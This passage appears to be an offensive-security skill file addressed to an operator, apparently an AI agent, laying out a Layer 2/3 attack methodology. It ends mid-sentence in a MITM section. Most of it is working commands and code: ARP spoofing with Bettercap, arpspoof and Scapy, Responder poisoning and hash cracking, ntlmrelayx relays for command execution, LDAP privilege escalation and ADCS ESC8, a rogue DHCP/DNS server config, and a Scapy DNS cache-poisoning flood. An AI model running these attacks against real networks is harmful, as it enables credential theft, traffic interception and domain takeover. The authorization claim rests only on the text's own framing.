offensive-network-attacks

# Network Attacks (Layer 2/3) -- Offensive Methodology

You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.

## Quick Workflow

1. Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
2. Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
3. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
4. Enable Responder poisoning to capture NTLMv2 hashes.
5. Relay captured hashes with ntlmrelayx against hosts without SMB signing.
6. ARP spoof the gateway for targeted MITM and credential interception.
7. Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
8. Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.

---

## ARP Spoofing

ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.

### Bettercap ARP Module

```bash
sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on
```

### arpspoof and Ettercap

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter
```

### Gratuitous ARP with Scapy

```python
from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)
```

### Bypassing Static ARP Entries

Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.

---

## LLMNR / NBT-NS / mDNS Poisoning

When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.

### Responder Setup and Hash Capture

```bash
sudo responder -I eth0 -A                    # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf                  # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule   # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt                        # NTLMv1 (weaker)
```

WPAD is a high-value vector: browsers query for `wpad.dat` via DNS then LLMNR/NBT-NS. The `-w` flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.

### Inveigh (Windows-Native)

From a compromised Windows host, poison without dropping Linux tools:

```powershell
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y   # C# binary avoids PS logging
```

### NTLMv1/v2 Relay with ntlmrelayx

When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.

```bash
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami"           # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
  --escalate-user attacker --delegate-access                               # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController                          # ADCS ESC8
```

Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.

---

## DNS Poisoning

DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.

### Rogue DNS Server via DHCP Option 6

After DHCP starvation or on a network without DHCP snooping, deploy dnsmasq with your IP as DNS (option 6):

```bash
# /etc/dnsmasq-rogue.conf:
#   interface=eth0
#   dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99    # gateway
#   dhcp-option=6,10.0.0.99    # DNS
#   address=/intranet.corp.local/10.0.0.99
#   server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
```

### DNS Cache Poisoning with Scapy

```python
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random

# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
    pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
          UDP(sport=53, dport=random.randint(1024, 65535)) / \
          DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
              an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
    send(pkt, verbose=False)
```

Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.

### DNS Rebinding

Bypass same-origin policy by toggling a DNS record between your server and an internal IP:

```bash
# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
  -ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1
```

---

## Man-in-the-Middle (MITM)

Once positioned between victim and gateway (via ARP spoo